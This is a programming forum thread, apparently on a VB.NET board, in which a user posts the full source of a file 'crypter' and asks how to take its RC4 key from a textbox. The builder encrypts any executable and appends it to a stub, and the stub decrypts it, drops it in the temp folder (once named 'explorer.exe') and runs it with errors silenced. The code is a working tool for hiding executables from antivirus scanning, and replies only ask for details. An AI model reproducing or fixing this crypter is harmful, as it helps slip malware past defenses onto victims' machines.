random encryption key

[2pac]

hi guys sorry for multiply questions i don't always ask untill i try and have no solution

how to add an encryption key between form1 and stub ?
i tried this but didn't work
i'm using rc4 encryption

dim random as string = textbox1.text
rc4(filein, random)

in the stub

dim random as string
rc4(filein, random)

it gives me this error :

[formlesstree4]

So...what's in RC4()? It's...difficult to read something that has no code posted. I would love to read your code with my Crystal Ball, but it's STILL in repair.

Also, some members would find your signature offensive. Just throwing that out there.

[2pac]

So...what's in RC4()? It's...difficult to read something that has no code posted. I would love to read your code with my Crystal Ball, but it's STILL in repair.

Also, some members would find your signature offensive. Just throwing that out there.

Part of my code :
--------------------------------
Dim temppath As String
temppath= System.IO.Path.GetTempPath
Try
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
thefileon= Space(LOF(1))
FileGet(1, thefileon)
FileClose(1)
Filetosplit = Split(thefileon, filesplit)
filezafter = rc4(Filetosplit(1), "2pac") ' i want to change "2pac" from the textbox1.text the in form1 :[
FileOpen(5, TPath & "\explorer.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(5, filezafter)
FileClose(5)
Catch ex As Exception
End Try

[dbasnett]

Also, some members would find your signature offensive. Just throwing that out there.

Yes.

[2pac]

it's not about the signature, Please help

[formlesstree4]

You're still not telling or showing me what the heck the FUNCTION RC4 does!! I can't help you if you don't SHOW it. Plus your error message is in a different language so please translate it. I'm trying to help but you're doing everything in your power it seems to actually make it harder for me to help you!

[2pac]

Form1 code :
Imports System.Text
Const filesplit = "@2pac@"
Dim filein, filename, stub As String
Dim lol As New SaveFileDialog
If lol.ShowDialog = Windows.Forms.DialogResult.OK Then
filename = lol.FileName
Else : Exit Sub
End If
FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
filein = Space(LOF(1))
FileGet(1, filein)
FileClose(1)
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
FileOpen(1, filename, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & filesplit & rc4(filein, "2pac")) ' I want to change 2pac as said, i have a textbox1 in this form
FileClose(1)
MsgBox("Crypted!")
Me.Close()
Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
Dim i As Integer = 0
Dim j As Integer = 0
Dim cipher As New StringBuilder
Dim returnCipher As String = String.Empty
Dim sbox As Integer() = New Integer(256) {}
Dim key As Integer() = New Integer(256) {}
Dim intLength As Integer = password.Length
Dim a As Integer = 0
While a <= 255
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
sbox(a) = a
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
Dim x As Integer = 0
Dim b As Integer = 0
While b <= 255
x = (x + sbox(b) + key(b)) Mod 256
Dim tempSwap As Integer = sbox(b)
sbox(b) = sbox(x)
sbox(x) = tempSwap
System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
End While
a = 1
While a <= message.Length
Dim itmp As Integer = 0
i = (i + 1) Mod 256
j = (j + sbox(i)) Mod 256
itmp = sbox(i)
sbox(i) = sbox(j)
sbox(j) = itmp
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
itmp = Asc(ctmp)
Dim cipherby As Integer = itmp Xor k
cipher.Append(Chr(cipherby))
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
returnCipher = cipher.ToString
cipher.Length = 0
Return returnCipher
End Function
---------------------------------------------------------------------------------------------------------------------------
All the Stub Code :
-------------------------------------------------------------------------------------------------------------------------
Imports System.Text
Const filesplit = "@2pac@"
On Error Resume Next
Dim TPath As String = System.IO.Path.GetTempPath
Dim file1, filezb4(), filezafter As String
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
file1 = Space(LOF(1))
FileGet(1, file1)
FileClose(1)
filezb4 = Split(file1, filesplit)
filezafter = rc4(filezb4(1), "2pac") ' I want to change 2pac from the textbox1 in the form1 as i said !
FileOpen(5, TPath & "\Crypted.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(5, filezafter)
FileClose(5)
System.Diagnostics.Process.Start(TPath & "\Crypted.exe")
Me.Close()
End
Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
Dim i As Integer = 0
Dim j As Integer = 0
Dim cipher As New StringBuilder
Dim returnCipher As String = String.Empty
Dim sbox As Integer() = New Integer(256) {}
Dim key As Integer() = New Integer(256) {}
Dim intLength As Integer = password.Length
Dim a As Integer = 0
While a <= 255
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
sbox(a) = a
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
Dim x As Integer = 0
Dim b As Integer = 0
While b <= 255
x = (x + sbox(b) + key(b)) Mod 256
Dim tempSwap As Integer = sbox(b)
sbox(b) = sbox(x)
sbox(x) = tempSwap
System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
End While
a = 1
While a <= message.Length
Dim itmp As Integer = 0
i = (i + 1) Mod 256
j = (j + sbox(i)) Mod 256
itmp = sbox(i)
sbox(i) = sbox(j)
sbox(j) = itmp
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
itmp = Asc(ctmp)
Dim cipherby As Integer = itmp Xor k
cipher.Append(Chr(cipherby))
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
returnCipher = cipher.ToString
cipher.Length = 0
Return returnCipher
End Function

----------------------------------------------------------------------------------------------------------------------------------------

What i've tryied :
in form1
Dim tex as string = textbox1.text
rc4(filein(1), tex)
in stub :
dim tex as string
rc4(filein(1), text)

Does Not work.

Translation :
an unhandled exception has occurred, if the you continue, the application will ignore this error, if you click quite, the application will stop!

Name Or Number of the file is incorrect.
=========
PLease Tell me if you need anything else please !

[formlesstree4]

Okay. A few things:

1) Wrap your code in [code] blocks please. It's impossible to read your code accurately.
2) Can you possibly point out a line number where your code fails? In your Exception window, there's the option to show more details and in there it provides a stack trace.

[2pac]

Okay. A few things:

1) Wrap your code in [code] blocks please. It's impossible to read your code accurately.
2) Can you possibly point out a line number where your code fails? In your Exception window, there's the option to show more details and in there it provides a stack trace.

Imports System.Text
Const filesplit = "@2pac@"
Dim filein, filename, stub As String
Dim lol As New SaveFileDialog
If lol.ShowDialog = Windows.Forms.DialogResult.OK Then
filename = lol.FileName
Else : Exit Sub
End If
FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
filein = Space(LOF(1))
FileGet(1, filein)
FileClose(1)
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
FileOpen(1, filename, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & filesplit & rc4(filein, "2pac")) ' I want to change 2pac as said, i have a textbox1 in this form
FileClose(1)
MsgBox("Crypted!")
Me.Close()
Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
Dim i As Integer = 0
Dim j As Integer = 0
Dim cipher As New StringBuilder
Dim returnCipher As String = String.Empty
Dim sbox As Integer() = New Integer(256) {}
Dim key As Integer() = New Integer(256) {}
Dim intLength As Integer = password.Length
Dim a As Integer = 0
While a <= 255
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
sbox(a) = a
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
Dim x As Integer = 0
Dim b As Integer = 0
While b <= 255
x = (x + sbox(b) + key(b)) Mod 256
Dim tempSwap As Integer = sbox(b)
sbox(b) = sbox(x)
sbox(x) = tempSwap
System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
End While
a = 1
While a <= message.Length
Dim itmp As Integer = 0
i = (i + 1) Mod 256
j = (j + sbox(i)) Mod 256
itmp = sbox(i)
sbox(i) = sbox(j)
sbox(j) = itmp
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
itmp = Asc(ctmp)
Dim cipherby As Integer = itmp Xor k
cipher.Append(Chr(cipherby))
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
returnCipher = cipher.ToString
cipher.Length = 0
Return returnCipher
End Function

CODE 2 (STUB) :

Imports System.Text
Const filesplit = "@2pac@"
On Error Resume Next
Dim TPath As String = System.IO.Path.GetTempPath
Dim file1, filezb4(), filezafter As String
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
file1 = Space(LOF(1))
FileGet(1, file1)
FileClose(1)
filezb4 = Split(file1, filesplit)
filezafter = rc4(filezb4(1), "2pac") ' I want to change 2pac from the textbox1 in the form1 as i said !
FileOpen(5, TPath & "\Crypted.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(5, filezafter)
FileClose(5)
System.Diagnostics.Process.Start(TPath & "\Crypted.exe")
Me.Close()
End

RC4 Function :

Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
Dim i As Integer = 0
Dim j As Integer = 0
Dim cipher As New StringBuilder
Dim returnCipher As String = String.Empty
Dim sbox As Integer() = New Integer(256) {}
Dim key As Integer() = New Integer(256) {}
Dim intLength As Integer = password.Length
Dim a As Integer = 0
While a <= 255
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
sbox(a) = a
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
Dim x As Integer = 0
Dim b As Integer = 0
While b <= 255
x = (x + sbox(b) + key(b)) Mod 256
Dim tempSwap As Integer = sbox(b)
sbox(b) = sbox(x)
sbox(x) = tempSwap
System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
End While
a = 1
While a <= message.Length
Dim itmp As Integer = 0
i = (i + 1) Mod 256
j = (j + sbox(i)) Mod 256
itmp = sbox(i)
sbox(i) = sbox(j)
sbox(j) = itmp
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
itmp = Asc(ctmp)
Dim cipherby As Integer = itmp Xor k
cipher.Append(Chr(cipherby))
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
returnCipher = cipher.ToString
cipher.Length = 0
Return returnCipher
End Function